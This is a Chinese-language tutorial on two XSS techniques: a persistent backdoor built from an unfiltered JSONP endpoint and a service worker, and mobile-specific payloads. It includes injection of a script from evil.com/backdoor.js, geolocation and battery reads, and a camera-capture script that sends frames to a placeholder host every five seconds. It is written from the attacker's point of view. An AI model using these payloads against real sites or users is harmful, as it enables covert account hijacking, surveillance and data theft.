近期看到了两种XSS攻击手法:一种是利用JSONP和serviceWorkers的持久性XSS,一种是移动设备中的XSS,学习后总结一下,同时也请高手多多指点。
对于Web攻击者来说,通常都渴望在未知用户浏览器具体类型的情况下,仍然能够顺利通过它来访问网站。甚至在浏览器被关闭,再次访问时要挂钩的回话也没有了的情况下,依旧可以访问网站,那该多好啊!实际上,这不仅是说说而已,如果联合利用未被过滤的JSONP路由、serviceWorkers和XSS的话,完全可以为网站打造一个持久性后门。
ServiceWorkers是一种较为新颖的web技术,它可以用来拦截web请求。实际上,这种技术本意在于实现网站的离线运行。ServiceWorkers可用于拦截web请求,并返回一个缓存版本,这样的话即使在离线的状态下,网站仍然处于可用状态。。
关于ServiceWorkers的具体介绍,请参考 https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers 页面。
说到底,就是写一个脚本,拦截用到onfetch处理程序的web请求,然后检查是否具有相应的内容。如果有的话,将这些内容返回,否则的话,建立相应的web请求,并将返回的内容缓存起来。
实际上,在ServiceWorkers的帮助下,我们是可以返回任意内容的。
例如:
#!js this.addEventListener('fetch', function(event) { event.respondWith(new Response(" <h1> Intercepted!</h1> ")); });
这种能力有可能被攻击者滥用。想象一下,如果你请求了一项内容,然后将它修改之后再返回,后果会怎么样?
#!html <html> <body> ..... <script src="https://evil.endpoint/backdoor.js</script> //---- Parse and inject arbitrary script here without the user knowing </body> </html>
这样以来,你就可以在每个请求后面追加上自己的脚本,但是用户却毫无察觉。也就是说,所有经过缓存层的内容都已经过了某种过滤。
当然,ServiceWorkers自身也有一定的局限性,即只能安装到与请求资源相同的域中。
这就意味着,要将一个serviceWorker安装到c0nrad.io的话,需要像下面这样来注册该serviceWorker:
#!js navigator.serviceWorker.register('https://c0nrad.io/backGroundScript.js')
但,请不要忘了:未经过滤的JSONP终点(endpoint)!JSONP表示带有填充的JSON,不过JSONP通常都要用到一个查询参数,并将javascript数据打包到一个函数中。
#!js /jsonp?callback=myAwesomeFunction returns: var calculatedDataOrSomething = { "hello": 1 }; myAwesomeFunction(1);`
这不仅给开发人员带来了便利,同时也给绕过SOP打开了方便之门:你可以从一个远程域而非JSON来下载javascript。
如果该JSONP未经过滤的话,你就能够返回任意的javascript代码了。
下面进行举例说明:
#!js <script src="/jsonp?callback=(code that waits for fetch, and inserts <script src="evil.com/backdoor.js"> into each web request)">
之后,如果你将该service worker注册为使用这个JSONP终点的话,serviceWorker工厂自然没意见。
攻击者通常利用这种手法维护持久性的访问权限,以及抓取信息。最受青睐的攻击目标通常是电子邮件、社交媒体以及私人公司网站。所有正常用户所能够做的事情,攻击者也照样能够享有同样的权限。
当然这种攻击手段也可用于攻击银行,不过如果你已经进行了XSS的,通常就不必使用这种攻击手法了。这种手法通常只是用来实现持久性。
由于主流浏览器的移动版与桌面版非常类似,所以,通常所有HTML5中的东西都可以很好地运行在这些移动浏览器中。不过,也有些东西是这些平台所特有的,部分正好可以用来发动XSS攻击。首先,让我们来了解一下HTML事件处理程序。
当移动设备的屏幕模式在横屏与竖屏之间切换时,就会引发文档主体中的orientationchange事件。
#!html <body onorientationchange=alert(orientation)>
它会显示屏幕切换后的旋转度数。
但是对于移动设备来说,最主要的还是触摸事件,这些事件几乎接受任意类型的标签,例如鼠标事件等。但是,当利用 <html>
来触发它们时,一个重要的区别在于它会覆盖整个浏览器屏幕。虽然该标签也可以用于鼠标事件,但是每当鼠标移动时它就会频繁触发该事件,这一点非常让人头疼。
#!html <html ontouchstart=alert(1)> <html ontouchend=alert(1)> <html ontouchmove=alert(1)> <html ontouchcancel=alert(1)>
除了事件之外,还可以通过Navigator API(应用程序接口)搞到特定设备的相关数据。除了最后介绍的振动数据之外,其他的同样适用于笔记本。例如,下面的数据,通过了解受害人使用哪种类型的互联网连接,对于攻击者发动更全面的攻击非常有帮助:
#!html <svg onload=alert(navigator.connection.type)>
下列代码(适用于Firefox)可以获取设备的电量数据:
#!html <svg onload=alert(navigator.battery.level)> <svg onload=alert(navigator.battery.dischargingTime)> <svg onload=alert(navigator.battery.charging)>
了解电池的剩余电量,在耗尽电池剩余电量来迫使某人离线时非常有用。借助于连接类型,就可以知道受害者使用的是WI-FI连接还是蜂窝网络。通过了解网速的变化,甚至可以推断出受害者的位置(如是否远离房间),这些信息对于进一步的攻击是很有用的。
如果能够获得被害者精确位置就更好了,为此,可以借助于地理定位属性:
#!js <script> navigator.geolocation.getCurrentPosition(function(p){ alert('Latitude:'+p.coords.latitude+',Longitude:'+ p.coords.longitude+',Altitude:'+p.coords.altitude);}) </script> (remember to change “+” for “%2B” in URLs)
不过,上述代码需要受害者的相关授权。
如果我们有受害者的授权的话,甚至可以对相机进行截图,并发送到服务器(下列脚本适用于Chrome):
#!js <script> d=document; v=d.createElement(‘video’); c=d.createElement(‘canvas’); c.width=640; c.height=480; navigator.webkitGetUserMedia({‘video’:true},function(s){ v.src=URL.createObjectURL(s);v.play()},function(){}); c2=c.getContext(‘2d’); x=’c2.drawImage(v,0,0,640,480);fetch(“//HOST/”+c2.canvas.toDataURL())‘; setInterval(x,5000); </script>
受害者的截屏经编码后存放在服务器的日志中
若想利用自己的相机进行测试,只需要用下列代码替换掉上面的 fetch(“//HOST/”+c2.canvas.toDataURL())‘;
即可:
#!js open(c2.canvas.toDataURL())
每隔5秒截屏一次。
对于手机来说,最激动人心的PoC非震动功能莫属:
#!js <svg onload=navigator.vibrate(500)> <svg onload=navigator.vibrate([500,300,100])>
如果你的手机启用了震动模式,可以点击 链接 来体验一把XSS演示(适用于Firefox浏览器)。
第一个示例中的数字是指振动的毫秒数。在第二个示例中,表示先震动500毫秒,间隔300毫秒,再震动100毫秒。
由于这是一个发展迅猛的领域,所以一些涉及手机的API会被淘汰,同时,对于移动设备的支持也会因浏览器的不同而有所差异。所以,了解它们的最佳方法就是参考类似Mozilla等浏览器的官方文档。
本文中,我们总结了两种XSS技术,希望大家能够喜欢。